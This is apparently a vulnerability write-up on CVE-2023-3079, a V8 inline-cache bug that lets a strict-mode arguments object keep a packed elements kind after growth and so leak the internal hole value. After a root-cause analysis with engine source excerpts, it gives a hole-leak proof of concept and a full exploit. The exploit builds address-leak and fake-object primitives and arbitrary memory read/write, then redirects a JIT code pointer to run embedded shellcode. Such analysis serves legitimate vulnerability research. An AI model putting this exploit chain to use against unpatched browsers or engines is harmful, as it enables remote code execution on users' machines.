Skip to content

CVE-2023-3079: V8 Inline Cache Type Confusion

Kaiser Ashworth
Published date:

CVE-2023-3079

Overview

CVE-2023-3079 is a logic issue in v8’s Inline Cache subsystem, procedure KeyedStorelC::StoreElementHandler. Buggy code failed to account for fast packed elements kind on receiver and generated incorrect builtin code for storing into keyed array elements, leading to type confusion

Build Environment

Please apply this args.gn when build:

is_component_build = false
is_debug = false
symbol_level = 2
blink_symbol_level = 2
v8_symbol_level = 2
perfetto_force_dcheck = "off"
dcheck_always_on = false
v8_enable_backtrace = true
v8_enable_fast_mksnapshot = true
v8_enable_slow_dchecks = false
v8_optimized_debug = false
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_verify_heap = true
enable_cet_shadow_stack = false

Then build:

git checkout f7a3499f6d7e50b227a17d2bbd96e4b59a261d3c
gclient sync -D
gn gen ./out/StaticReleaseWithSymbol
# edit args.gn
ninja -C ./out/StaticReleaseWithSymbol d8

Background knowledge

Types of properties

In V8, we have two kinds of properties: named properties and integer-indexed properties. Let say we have an object like this:

let obj = {
    a: 1,
    b: 2,
    0: 3,
    1: 4
};

In this object, a and b are named properties, while 0 and 1 are integer-indexed properties. And both of them are stored in different places in memory. The named properties are stored in the property array, while the integer-indexed properties are stored in the elements array. The figure below shows the memory layout of an object in V8:

alt

Also, there are different kinds of elements, depending on the types of values and how the values are stored into the store. There are 2 important kind of elements: packed and holey elements. The packed elements are used when all the elements are adjacent, while the holey elements are used when there are holes in the elements. For example, if we have an array like this:

let arr1 = [1, 2, 3];

This array has packed elements, because all the elements are adjacent. But if we have an array like this:

let arr2 = [1, 2, , 4];

This array has holey elements, because there is a hole in the elements (the third element is missing). In V8, there is the special value called ‘The Hole’ which is used internally by the engine, so it must not be exposed to JavaScript. So when V8 retrieves an element from a holey elements store, it verifies if the value is ‘The Hole’ and then returns undefined.

Inline Caching

TODO: Research more about this concept, and dive into the source code

At the time I write this, i’m still not get full understand how Inline Caching work, so I’ll reference some articles that might be useful:

So in brief, let’s take an example like this:

function _example(obj, key, val) {
    obj[key] = val;
}

The function is simple, just store val into key property of obj. However, JavaScript is dynamically-typed language, the engine has several thing to consider:

Checking these properties over and over takes up a lot of processing power. To speed things up, JavaScript engines use a clever optimization technique called an Inline Cache (IC).

IC relies on a concept called “type locality”—which is basically the engine making a safe bet that the types of data passing through a specific part of your code aren’t going to change very often.

When your code first fires up, the engine is flying blind because it doesn’t know anything about your data types yet. To handle this, it starts by running a slower, unoptimized version of the code. But while it runs, it’s quietly taking notes and profiling the types of objects it interacts with.

Once it has gathered enough information, the engine shifts gears. It uses those collected profiles to drastically speed up execution—either by routing the code through fast IC handlers or by sending it to the Just-In-Time (JIT) compiler to be translated directly into blazing-fast native machine code.

Here’s a snippet showing how the engine handles that function behind the scenes:

if (typeof(obj) == A) {
  FAST_ROUTINE_OPTIMIZED_FOR_A();
} else {
  SLOW_GENERIC_ROUTINE();
}

There are 3 states of IC:

  1. Monomorphic IC: when only one type of object has the property
  2. Polymorphic IC: when multiple types of object have the same property
  3. Megamorphic IC: when too many types of object all have the same property

So when back to our example, when we store many time in the same key property (same map), there will be Monomorphic IC:

function _example(obj, key, val) {
    obj[key] = val;
}

for (let i = 0; i < 10; i++) {
    _example({}, "foo", 36);
}

%DebugPrint(_example);
...
 - slot #0 StoreKeyedSloppy MONOMORPHIC
   0x0e700019aac1 <String[3]: #foo>: StoreHandler(<unexpected>)(0x0e700018e165 <Map[16](PACKED_SMI_ELEMENTS)>) {
     [0]: 0x0e700019aac1 <String[3]: #foo>
     [1]: 0x0e700004c7d9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
  }
...

As you can see, there is StoreKeyedSloppy MONOMORPHIC at slot 0. But what if we change the type of property? Let’s add one more line:

_example([], 19, 36);

now try to run it again:

...
 - slot #0 StoreKeyedSloppy POLYMORPHIC
   [weak] 0x09d1001848ed <Map[28](HOLEY_ELEMENTS)>: StoreHandler(builtin = 0x09d100024b59 <Code BUILTIN StoreFastElementIC_GrowNoTransitionHandleCOW>, validity cell = 0x09d10019ad71 <Cell value= 0>)

   [weak] 0x09d10018e165 <Map[16](PACKED_SMI_ELEMENTS)>: StoreHandler(builtin = 0x09d100024c49 <Code BUILTIN ElementsTransitionAndStore_GrowNoTransitionHandleCOW>, data1 = [weak] 0x09d10018e949 <Map[16](HOLEY_SMI_ELEMENTS)>, validity cell = 0x09d10019ae35 <Cell value= 0>)

   [weak] 0x09d10018e949 <Map[16](HOLEY_SMI_ELEMENTS)>: StoreHandler(builtin = 0x09d100024b59 <Code BUILTIN StoreFastElementIC_GrowNoTransitionHandleCOW>, validity cell = 0x09d10019ae35 <Cell value= 0>)
 {
     [0]: 0x09d10004c889 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
     [1]: 0x09d100000ebd <Symbol: (uninitialized_symbol)>
  }
...

the slot has changed to POLYMORPHIC, we will call it state transition.

Root Case Analysis

The arguments object

arguments is an array-like object accessible inside functions that contains the values of the arguments passed to that function. If we write a small code, and use DebugPrint on arguments:

function _example() {
    %DebugPrint(arguments);
}
_example();
DebugPrint: 0x3d460004c5f5: [JS_ARGUMENTS_OBJECT_TYPE]
 - map: 0x3d460018fccd <Map[20](PACKED_ELEMENTS)> [FastProperties]
 - prototype: 0x3d4600184ab9 <Object map = 0x3d46001840f5>
 - elements: 0x3d4600000219 <FixedArray[0]> [PACKED_ELEMENTS]
 - properties: 0x3d4600000219 <FixedArray[0]>
 - All own properties (excluding elements): {
    0x3d4600000e19: [String] in ReadOnlySpace: #length: 0 (data field 0), location: in-object
    0x3d46000043f9: [String] in ReadOnlySpace: #callee: 0x3d460019abdd <JSFunction _example (sfi = 0x3d460019ab0d)> (data field 1), location: in-object
    0x3d46000060d1 <Symbol: Symbol.iterator>: 0x3d460014426d <AccessorInfo name= 0x3d46000060d1 <Symbol: Symbol.iterator>, data= 0x3d4600000251 <undefined>> (const accessor descriptor), location: descriptor
 }
0x3d460018fccd: [Map] in OldSpace
 - type: JS_ARGUMENTS_OBJECT_TYPE
 - instance size: 20
 - inobject properties: 2
 - elements kind: PACKED_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - back pointer: 0x3d4600000251 <undefined>
 - prototype_validity cell: 0x3d4600000ac5 <Cell value= 1>
 - instance descriptors (own) #3: 0x3d460018fcf5 <DescriptorArray[3]>
 - prototype: 0x3d4600184ab9 <Object map = 0x3d46001840f5>
 - constructor: 0x3d460018fcad <JSFunction Arguments (sfi = 0x3d460014c061)>
 - dependent code: 0x3d4600000229 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
 - construction counter: 0

we see that an arguments object’s element_kind is PACKED_ELEMENTS

The bug

So let’s back to the vulnerable function KeyedStoreIC::StoreElementHandler.

Handle<Object> KeyedStoreIC::StoreElementHandler(
    Handle<Map> receiver_map, KeyedAccessStoreMode store_mode,
    MaybeHandle<Object> prev_validity_cell) {
    // ...
  Handle<Object> code;
  if (receiver_map->has_sloppy_arguments_elements()) {
    // ...
  } else if (receiver_map->has_fast_elements() ||
             receiver_map->has_sealed_elements() ||
             receiver_map->has_nonextensible_elements() ||
             receiver_map->has_typed_array_or_rab_gsab_typed_array_elements()) {
    TRACE_HANDLER_STATS(isolate(), KeyedStoreIC_StoreFastElementStub);
    code = StoreHandler::StoreFastElementBuiltin(isolate(), store_mode); // [!]
    if (receiver_map->has_typed_array_or_rab_gsab_typed_array_elements()) {
      return code;
    }
  }
  // ...
}

The bug lies in the handler selection phase of the IC. When the IC decides which fast-path handler to install for a JSArgumentsObject, it picks StoreFastElementIC_GrowNoTransitionHandleCOW — a handler designed for JSArray. This handler grows the backing store but does not transition PACKED_ELEMENTS to HOLEY_ELEMENTS for non-JSArray objects, creating a mismatch between the map’s claim and the backing store’s reality.

Sloppy mode vs Strict mode arguments:

Sloppy mode: arguments is kind of “linked” to the function parameters. If you change the parameter a, arguments[0] may change too — and vice-versa. It also allows duplicate parameter names (bad idea, but allowed). Sloppy arguments use a special elements kind called FAST_SLOPPY_ARGUMENTS_ELEMENTS, which has its own dedicated IC handler path — and is not affected by this bug.

function sloppyMode(a) {
 a = 99;
 console.log(arguments[0]); // 99 — aliased
 %DebugPrint(arguments);
}
sloppyMode(1);

Strict mode: that link is cut. Parameters and arguments are separate copies. Changing a won’t change arguments[0], and changing arguments[0] won’t change a. Strict arguments use regular PACKED_ELEMENTS — the same elements kind as normal objects and arrays. This means they go through the generic fast elements handler path in StoreElementHandler, which is where the bug lives.

function strictMode() {
 let a = 99;
 console.log(arguments[0]);
 %DebugPrint(arguments);
}
strictMode();

We know that there are two types of properties, IC also has two types of handlers to handle them: element handler and property handler. And to set element handler, the engine uses KeyedStoreIC::StoreElementHandler to pick a proper one depending on the type of the object. The JSArgumentsObject has fast packed elements so the function StoreHandler::StoreFastElementBuiltin will be called to load the fast element handler:

Handle<Code> StoreHandler::StoreFastElementBuiltin(Isolate* isolate,
                                                   KeyedAccessStoreMode mode) {
  switch (mode) {
    // ...
    case STORE_AND_GROW_HANDLE_COW:
      return BUILTIN_CODE(isolate,
                          StoreFastElementIC_GrowNoTransitionHandleCOW);
   // ...
  }
}

The store_mode is getting from the function name GetStoreMode:

KeyedAccessStoreMode GetStoreMode(Handle<JSObject> receiver, size_t index) {
  bool oob_access = IsOutOfBoundsAccess(receiver, index);
  // Don't consider this a growing store if the store would send the receiver to
  // dictionary mode.
  bool allow_growth =
      receiver->IsJSArray() && oob_access && index <= JSArray::kMaxArrayIndex &&
      !receiver->WouldConvertToSlowElements(static_cast<uint32_t>(index));
  if (allow_growth) {
    return STORE_AND_GROW_HANDLE_COW;
  }
    // ...
}

Just like the name suggests, this handler doesn’t trigger a map transition, meaning the elements kind stays the same. It just expands the elements store when you try to insert a value right at the end (when the index hits the current capacity). When it grows the store like this, any leftover extra space gets filled with ‘The Hole’.

We know that the default elements_kind of a JSStrictArgumentsObject is PACKED_ELEMENTS. This is problematic because if we look at the slow path — the call chain starting from KeyedStoreIC::Store():

KeyedStoreIC::Store()
  → Runtime::SetObjectProperty()       
    → Object::SetProperty()
      → Object::AddDataProperty()       
        → JSObject::AddDataElement()    

The function JSObject::AddDataElement is the C++ runtime function that handles adding a new indexed element to an object. It is part of the “slow path” — the code that runs when no IC handler has been installed yet, or when the IC misses. Inside this function, there is a critical invariant check:

ElementsKind to = value->OptimalElementsKind(isolate);

if (IsHoleyElementsKind(kind) || !object->IsJSArray(isolate) ||
    index > old_length) {
  to = GetHoleyElementsKind(to);
  kind = GetHoleyElementsKind(kind);
}

if the object is not a JSArray (which includes JSStrictArgumentsObject), the elements_kind must be forced to a holey variant (e.g., PACKED_ELEMENTSHOLEY_ELEMENTS). The reasoning is that non-JSArray objects don’t have a length property that tracks the number of elements, so the backing store may contain holes at arbitrary positions, and the engine must be aware of that.

Now compare this with the fast path. When the IC handler StoreFastElementIC_GrowNoTransitionHandleCOW is installed and runs, it follows this call chain:

StoreFastElementIC_GrowNoTransitionHandleCOW    
  → Generate_StoreFastElementIC(STORE_AND_GROW_HANDLE_COW)
    → EmitElementStore()                         
      → CheckForCapacityGrow()                   

Inside CheckForCapacityGrow, after the backing store has been grown (with new slots filled with the_hole), the following code executes:

BIND(&fits_capacity);
GotoIfNot(IsJSArray(object), &done);   // ← non-JSArray: skip straight to done!

TNode<IntPtrT> new_length = IntPtrAdd(key, IntPtrConstant(1));
StoreObjectFieldNoWriteBarrier(object, JSArray::kLengthOffset,
                               SmiTag(new_length));
Goto(&done);

For non-JSArray objects, this code jumps directly to &done — it skips the length update (correct, since non-JSArray objects have no array length), but it also does not transition the elements_kind from PACKED_ELEMENTS to HOLEY_ELEMENTS. The backing store now physically contains the_hole values in the extra slots created by the grow operation, but the object’s map still claims PACKED_ELEMENTS, which tells the engine “there are no holes in this backing store.” This is the big mismatch since the slow path (JSObject::AddDataElement) enforces the PACKED → HOLEY transition for non-JSArray objects, but the fast path (CheckForCapacityGrow) does not. CheckForCapacityGrow is the fast-path equivalent of JSObject::AddDataElement — they perform the same logical operation (add an indexed element with backing store growth) — but the fast version is missing the holey elements kind transition.

As a result, after the fast IC handler runs on a JSStrictArgumentsObject:

  1. The backing store has been grown and contains the_hole values.
  2. The map still says PACKED_ELEMENTS (i.e., “no holes exist”).
  3. Any subsequent code that trusts the PACKED_ELEMENTS kind will skip hole checks and read the_hole as a valid JavaScript value, leaking an internal V8 sentinel object to user-controlled code.

Bonus: To understand why the hole is actually reachable, note how EmitElementStore determines the bounds for element access:

    TNode<Smi> smi_length = Select<Smi>(
        IsJSArray(object),
        [=]() { return CAST(LoadJSArrayLength(CAST(object))); },   // JSArray: length
        [=]() { return LoadFixedArrayBaseLength(elements); });      // others: capacity

For non-JSArray objects, the bound is the capacity of the backing store, not a logical length. So after the grow, any index within the new capacity passes the bounds check — including slots that contain the_hole. Also if you look at ic.cc:1309-1312, the convert_hole_to_undefined flag is only set for HOLEY_SMI_ELEMENTS and HOLEY_ELEMENTS:

bool convert_hole_to_undefined =
    (elements_kind == HOLEY_SMI_ELEMENTS ||
     elements_kind == HOLEY_ELEMENTS) &&
    AllowConvertHoleElementToUndefined(isolate(), receiver_map);

This flag gets encoded into the IC handler as ConvertHoleBits (handler-configuration-inl.h:118). Later, when the accessor assembler hits a hole during element loading, it checks this bit to decide whether to return undefined or bail out to the runtime (accessor-assembler.cc:589-598):

BIND(&if_hole);
{
  Comment("convert hole");
  GotoIfNot(IsSetWord32<LoadHandler::ConvertHoleBits>(handler_word), miss);
  GotoIf(IsNoElementsProtectorCellInvalid(), miss);
  exit_point->Return(UndefinedConstant());
}

HOLEY_DOUBLE_ELEMENTS is excluded from this path because tagged arrays and double arrays represent holes differently. In tagged arrays (HOLEY_SMI_ELEMENTS, HOLEY_ELEMENTS), the hole is a tagged pointer — TheHoleConstant(). The if_hole label is reached via a pointer comparison (accessor-assembler.cc:2392):

GotoIf(TaggedEqual(element, TheHoleConstant()), if_hole);

In double arrays, elements are stored as raw 64-bit floats, so a tagged pointer can’t be used. Instead, V8 reserves a special signaling NaN bit pattern (kHoleNanInt64 = 0xFFF7FFFFFFF7FFFF) to represent the hole. The check is a raw integer comparison against this bit pattern via IsDoubleHole(). When a hole is found, the code jumps to the same if_hole label — where ConvertHoleBits is always false for double kinds, so it falls through to miss (IC miss / deopt). This is the correct behavior: a hole in a double array should not silently become undefined because the caller expects a Float64 value, not a tagged value.

Proof-of-Concept

To trigger the bug, we can base on this POC:

function set_keyed_prop(obj, key, val) {
  obj[key] = val;
}

function leak_hole() {
  const IC_WARMUP_COUNT = 10;
  for (let i = 0; i < IC_WARMUP_COUNT; i++) {
    set_keyed_prop(arguments, "foo", 1);
  }

  let store_mode = [];
  set_keyed_prop(store_mode, 0, 1);
  set_keyed_prop(arguments, arguments.length, 1);

  let hole = arguments[arguments.length + 1];
  return hole;
}

Let’s analyst how they use magic to trigger the bug. First, there is an loop of set_keyed_prop() with obj is arguments and foo as a key. We need to install a property handler instead of element handler. This is because for arguments we can’t install it directly. If we look at KeyedStoreIC::Store, we know that if the key is smi-like, that function will take a slow path:

MaybeHandle<Object> KeyedStoreIC::Store(Handle<Object> object,
                                        Handle<Object> key,
                                        Handle<Object> value) {
  // ...

  // If 'key' is a string, a property handler will be installed.
  if (key_type == kName) {
    ASSIGN_RETURN_ON_EXCEPTION(
        isolate(), store_handle,
        StoreIC::Store(object, maybe_name, value, StoreOrigin::kMaybeKeyed),
        Object);
    if (vector_needs_update()) {
      if (ConfigureVectorState(MEGAMORPHIC, key)) {
        set_slow_stub_reason("unhandled internalized string key");
        TraceIC("StoreIC", key);
      }
    }
    return store_handle;
  }

  // ...
  
  // If 'key' is a Smi-like key, an element handler will be installed.
  if (use_ic) {
    if (!old_receiver_map.is_null()) {
      if (is_arguments) {
        set_slow_stub_reason("arguments receiver");
      }
     // ...
    }
  }

  // ...
}

So to reach the function StoreElementHandler(), we need to abuse the IC state transition. Next time if we pass another obj in this case it is an empty array, the IC will be missed (since it is not arguments), and it call KeyedStoreIC::UpdateStoreElement() to install new element handler, then it calls KeyedStoreIC::StoreElementPolymorphicHandlers() to change the state to polymorphic

void KeyedStoreIC::UpdateStoreElement(Handle<Map> receiver_map,
                                      KeyedAccessStoreMode store_mode,
                                      Handle<Map> new_receiver_map) {
  std::vector<MapAndHandler> target_maps_and_handlers;
  nexus()->ExtractMapsAndHandlers(
      &target_maps_and_handlers,
      [this](Handle<Map> map) { return Map::TryUpdate(isolate(), map); });
  if (target_maps_and_handlers.empty()) {
    Handle<Map> monomorphic_map = receiver_map;
    // If we transitioned to a map that is a more general map than incoming
    // then use the new map.
    if (IsTransitionOfMonomorphicTarget(*receiver_map, *new_receiver_map)) {
      monomorphic_map = new_receiver_map;
    }
    Handle<Object> handler = StoreElementHandler(monomorphic_map, store_mode);
    return ConfigureVectorState(Handle<Name>(), monomorphic_map, handler);
  }

  // ...

  StoreElementPolymorphicHandlers(&target_maps_and_handlers, store_mode);

  // ...
}

it will call the function name StoreElementPolymorphicHandlers. StoreElementPolymorphicHandlers terates the previous IC handlers in the slot, and turns the handlers into element handlers by calling StoreElementHandler()

void KeyedStoreIC::StoreElementPolymorphicHandlers(
    std::vector<MapAndHandler>* receiver_maps_and_handlers,
    KeyedAccessStoreMode store_mode) {
  // ...

  for (size_t i = 0; i < receiver_maps_and_handlers->size(); i++) {
    Handle<Map> receiver_map = receiver_maps_and_handlers->at(i).first;
    DCHECK(!receiver_map->is_deprecated());
    MaybeObjectHandle old_handler = receiver_maps_and_handlers->at(i).second;
    Handle<Object> handler;
    Handle<Map> transition;

    if (receiver_map->instance_type() < FIRST_JS_RECEIVER_TYPE ||
        receiver_map->MayHaveReadOnlyElementsInPrototypeChain(isolate())) {
     // ...

    } else {
     // ...
      if (!transition.is_null()) {
        TRACE_HANDLER_STATS(isolate(),
                            KeyedStoreIC_ElementsTransitionAndStoreStub);
        handler = StoreHandler::StoreElementTransition(
            isolate(), receiver_map, transition, store_mode, validity_cell);
      } else {
        handler = StoreElementHandler(receiver_map, store_mode, validity_cell);
      }
    }
    DCHECK(!handler.is_null());
    receiver_maps_and_handlers->at(i) =
        MapAndHandler(receiver_map, MaybeObjectHandle(handler));
  }
}

So the next time we call set_keyed_prop, it will be handler by installed handler. Extending the elements store of arguments won’t trasition the map to HOLEY_ELEMNT:

    set_keyed_prop(arguments, arguments.length, 1);
    %DebugPrint(arguments);
DebugPrint: 0x32df0004de91: [JS_ARGUMENTS_OBJECT_TYPE]
 - map: 0x32df0019b651 <Map[20](PACKED_ELEMENTS)> [FastProperties]
 - prototype: 0x32df00184ab9 <Object map = 0x32df001840f5>
 - elements: 0x32df0004df99 <FixedArray[17]> [PACKED_ELEMENTS]
 - properties: 0x32df0004def5 <PropertyArray[3]>
 - All own properties (excluding elements): {
    0x32df00000e19: [String] in ReadOnlySpace: #length: 0 (data field 0), location: in-object
    0x32df000043f9: [String] in ReadOnlySpace: #callee: 0x32df0019b4a1 <JSFunction leak_hole (sfi = 0x32df0019af85)> (data field 1), location: in-object
    0x32df000060d1 <Symbol: Symbol.iterator>: 0x32df0014426d <AccessorInfo name= 0x32df000060d1 <Symbol: Symbol.iterator>, data= 0x32df00000251 <undefined>> (const accessor descriptor), location: descriptor
    0x32df0019b50d: [String] in OldSpace: #mmb: 1 (data field 2), location: properties[0]
 }
 - elements: 0x32df0004df99 <FixedArray[17]> {
           0: 1
        1-16: 0x32df0000026d <the_hole>
 }
0x32df0019b651: [Map] in OldSpace
 - type: JS_ARGUMENTS_OBJECT_TYPE
 - instance size: 20
 - inobject properties: 2
 - elements kind: PACKED_ELEMENTS
 - unused property fields: 2
 - enum length: invalid
 - stable_map
 - back pointer: 0x32df0018fccd <Map[20](PACKED_ELEMENTS)>
 - prototype_validity cell: 0x32df0019b679 <Cell value= 0>
 - instance descriptors (own) #4: 0x32df0004deb5 <DescriptorArray[4]>
 - prototype: 0x32df00184ab9 <Object map = 0x32df001840f5>
 - constructor: 0x32df0018fcad <JSFunction Arguments (sfi = 0x32df0014c061)>
 - dependent code: 0x32df00000229 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
 - construction counter: 0

From ‘Hole’ leak to OOB Access

There is a write up here, i won’t go to details here.

Exploit

// CVE-2023-3079
// commit: f7a3499f6d7e50b227a17d2bbd96e4b59a261d3c
//
//
// Relevant source files:
// https://source.chromium.org/chromium/v8/v8.git/+/f7a3499f6d7e50b227a17d2bbd96e4b59a261d3c:src/ic/ic.cc
// https://source.chromium.org/chromium/v8/v8.git/+/f7a3499f6d7e50b227a17d2bbd96e4b59a261d3c:src/ic/accessor-assembler.cc
// https://source.chromium.org/chromium/v8/v8.git/+/f7a3499f6d7e50b227a17d2bbd96e4b59a261d3c:src/ic/handler-configuration-inl.h
// https://source.chromium.org/chromium/v8/v8.git/+/f7a3499f6d7e50b227a17d2bbd96e4b59a261d3c:src/codegen/code-stub-assembler.cc
// https://source.chromium.org/chromium/v8/v8.git/+/f7a3499f6d7e50b227a17d2bbd96e4b59a261d3c:src/codegen/code-stub-assembler.h
// https://source.chromium.org/chromium/v8/v8.git/+/f7a3499f6d7e50b227a17d2bbd96e4b59a261d3c:src/builtins/builtins-handler-gen.cc
// https://source.chromium.org/chromium/v8/v8.git/+/f7a3499f6d7e50b227a17d2bbd96e4b59a261d3c:src/builtins/builtins-ic-gen.cc
// https://source.chromium.org/chromium/v8/v8.git/+/f7a3499f6d7e50b227a17d2bbd96e4b59a261d3c:src/interpreter/interpreter-generator.cc
// https://source.chromium.org/chromium/v8/v8.git/+/f7a3499f6d7e50b227a17d2bbd96e4b59a261d3c:src/interpreter/bytecode-generator.cc
// https://source.chromium.org/chromium/v8/v8.git/+/f7a3499f6d7e50b227a17d2bbd96e4b59a261d3c:src/interpreter/bytecode-array-builder.cc
//
//
// Patch:
// https://chromium.googlesource.com/v8/v8.git/+/e144f3b71e64e01d6ffd247eb15ca1ff56f6287b
// https://chromium.googlesource.com/v8/v8.git/+/e144f3b71e64e01d6ffd247eb15ca1ff56f6287b%5E%21/#F2
// --- a/src/ic/ic.cc
// +++ b/src/ic/ic.cc
//               receiver_map->has_sealed_elements() ||
//               receiver_map->has_nonextensible_elements() ||
//               receiver_map->has_typed_array_or_rab_gsab_typed_array_elements()) {
// +    // TODO(jgruber): Update counter name.
//      TRACE_HANDLER_STATS(isolate(), KeyedStoreIC_StoreFastElementStub);
// -    code = StoreHandler::StoreFastElementBuiltin(isolate(), store_mode);
// -    if (receiver_map->has_typed_array_or_rab_gsab_typed_array_elements()) {
// -      return code;
// +    if (receiver_map->IsJSArgumentsObjectMap() &&
// +        receiver_map->has_fast_packed_elements()) {
// +      // Allow fast behaviour for in-bounds stores while making it miss and
// +      // properly handle the out of bounds store case.
// +      code = StoreHandler::StoreFastElementBuiltin(isolate(), STANDARD_STORE);
// +    } else {
// +      code = StoreHandler::StoreFastElementBuiltin(isolate(), store_mode);
// +      if (receiver_map->has_typed_array_or_rab_gsab_typed_array_elements()) {
// +        return code;
// +      }

const FIXED_ARRAY_HEADER_SIZE = 8n;

var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new BigUint64Array(buf);
var u32_buf = new Uint32Array(buf);

function f2i(val) {
    f64_buf[0] = val;
    return u64_buf[0];
}

function i2f(val) {
    u64_buf[0] = BigInt(val);
    return f64_buf[0];
}

function u2f(lo, hi) {
    u32_buf[0] = lo;
    u32_buf[1] = hi;
    return f64_buf[0];
}


function gc_minor() { //scavenge
    for(let i = 0; i < 1000; i++) {
        new ArrayBuffer(0x10000);
    }
}

function gc_major() { //mark-sweep
    new ArrayBuffer(0x7fe00000);
}

const logInfo = (m) => print(`[*] ${m}`);
const logOK   = (m) => print(`[+] ${m}`);
const logErr  = (m) => print(`[-] ${m}`);

function toHex(x, w = 16) {
    x = BigInt.asUintN(64, BigInt(x));
    return "0x" + x.toString(16);
}

function assert(c) {
    if (!c) {
        throw "Assertion Failed";
    }
}

function shellcode() {
    return [
        1.9555025752250707e-246,
        1.9562205631094693e-246,
        1.9711824228871598e-246,
        1.9711826272864685e-246,
        1.9711829003383248e-246,
        1.9710902863710406e-246,
        2.6749077589586695e-284
    ];
}
for (let i = 0; i < 0x10000; i++) {
    shellcode();
}

// d8 --allow-natives-syntax --print-bytecode --print-bytecode-filter="set_keyed_prop" exp.js
/*
         0x32db0019b5f6 @    0 : 0b 05             Ldar a2
         0x32db0019b5f8 @    2 : 34 03 04 00       SetKeyedProperty a0, a1, [0]
         0x32db0019b5fc @    6 : 0e                LdaUndefined
         0x32db0019b5fd @    7 : a9                Return
*/
function set_keyed_prop(obj, key, val) {
    obj[key] = val; // SetKeyedProperty
}

function leak_hole() {
    let store_mode = []; // STORE_AND_GROW_HANDLE_COW

    const IC_WARMUP_COUNT = 10;
    for(let i = 0; i < IC_WARMUP_COUNT; i++) {
        set_keyed_prop(arguments, "mmb", 1);
    }

    set_keyed_prop(store_mode, 0, 1);
    set_keyed_prop(arguments, arguments.length, 1);

    let hole = arguments[arguments.length + 1];
    return hole;
}

const the = {};
the.hole = leak_hole();

let dbl_arr;
let obj_arr;
let leak_arr;

gc_minor();
gc_major();

function AddrOf(bool, obj) {
    let hole = the.hole;
    let idx = (Number(bool ? hole : -1) | 0) + 1;

    dbl_arr = [1.1];
    obj_arr = [obj];

    let obj_addr = f2i(dbl_arr.at(idx * 4)) & 0xffffffffn;
    return obj_addr;
}

for (let i = 0; i < 0x10000; i++) {
    AddrOf(true, {});
}

// %PrepareFunctionForOptimization(AddrOf);
// AddrOf(true, {});
// %OptimizeFunctionOnNextCall(AddrOf);

// let tmp_obj = {};
// %DebugPrint(tmp_obj);
// let tmp_obj_addr = AddrOf(true, tmp_obj);
// console.log(toHex(tmp_obj_addr));

function FakeObj(bool, addr) {
    let hole = the.hole;
    let idx = (Number(bool ? hole : -1) | 0) + 1;
    addr = i2f(addr);

    obj_arr = [{}];
    dbl_arr = [addr];

    let fake_obj = obj_arr.at(idx * 7);
    return fake_obj;
}

for (let i = 0; i < 0x10000; i++) {
    FakeObj(true, 0n);
}

// %PrepareFunctionForOptimization(FakeObj);
// FakeObj(true, 0n);
// %OptimizeFunctionOnNextCall(FakeObj);

// let tmp_obj = {};
// let tmp_obj_addr = AddrOf(true, tmp_obj);
// let tmp_fake_obj = FakeObj(true, tmp_obj_addr - 0x20n);
// %DebugPrint(tmp_obj);
// %DebugPrint(tmp_fake_obj);

function leak(bool) {
    let hole = the.hole;
    let idx = (Number(bool ? hole : -1) | 0) + 1;

    dbl_arr = [2.2];
    let leak_arr = [1.1];

    let leaked = f2i(dbl_arr.at(idx * 1));
    return [leaked & 0xffffffffn, leaked >> 32n];
}

for (let i = 0; i < 0x10000; i++) {
    leak(true);
}

// %PrepareFunctionForOptimization(leak);
// leak(true);
// %OptimizeFunctionOnNextCall(leak);

let double_array_map = leak(true)[0];
logInfo("leaked double array map: " + toHex(double_array_map));

let double_array_properties = leak(true)[1];
logInfo("leaked double array properties: " + toHex(double_array_properties));

let shellcode_addr = AddrOf(true, shellcode);
logInfo("shellcode address: " + toHex(shellcode_addr));

let fake_arr = [u2f(Number(double_array_map), Number(double_array_properties)), u2f(Number(shellcode_addr), 100)];
let fake_arr_addr = AddrOf(true, fake_arr);
logInfo("fake array address: " + toHex(fake_arr_addr));

let fake_obj = FakeObj(true, fake_arr_addr + 0x54n);

function ArbRead(addr) {

    if (addr % 2n == 0n) {
        addr += 1n
    }

    fake_arr[1] = u2f(Number(addr - FIXED_ARRAY_HEADER_SIZE), 100);
    return f2i(fake_obj[0]);
}

function ArbWrite(addr, val) {

    if (addr % 2n == 0n) {
        addr += 1n
    }

    fake_arr[1] = u2f(Number(addr - FIXED_ARRAY_HEADER_SIZE), 100);
    fake_obj[0] = i2f(val);
}

let code_ptr = ArbRead(shellcode_addr + 0x18n) & 0xffffffffn;
logOK("leaked code pointer: " + toHex(code_ptr));

let rwx_addr = ArbRead(code_ptr + 0x10n);
logOK("leaked RWX address: " + toHex(rwx_addr));

let shellcode_start = rwx_addr + 0x54n + 2n;
logInfo("shellcode start: " + toHex(shellcode_start));

logInfo("Overwrite RWX address with shellcode address");
ArbWrite(code_ptr + 0x10n, shellcode_start);

logInfo("Double check RWX address");
assert(ArbRead(code_ptr + 0x10n) == shellcode_start);
logInfo("RWX address successfully overwritten with shellcode address");

logInfo("Trigger shellcode execution");
shellcode();

References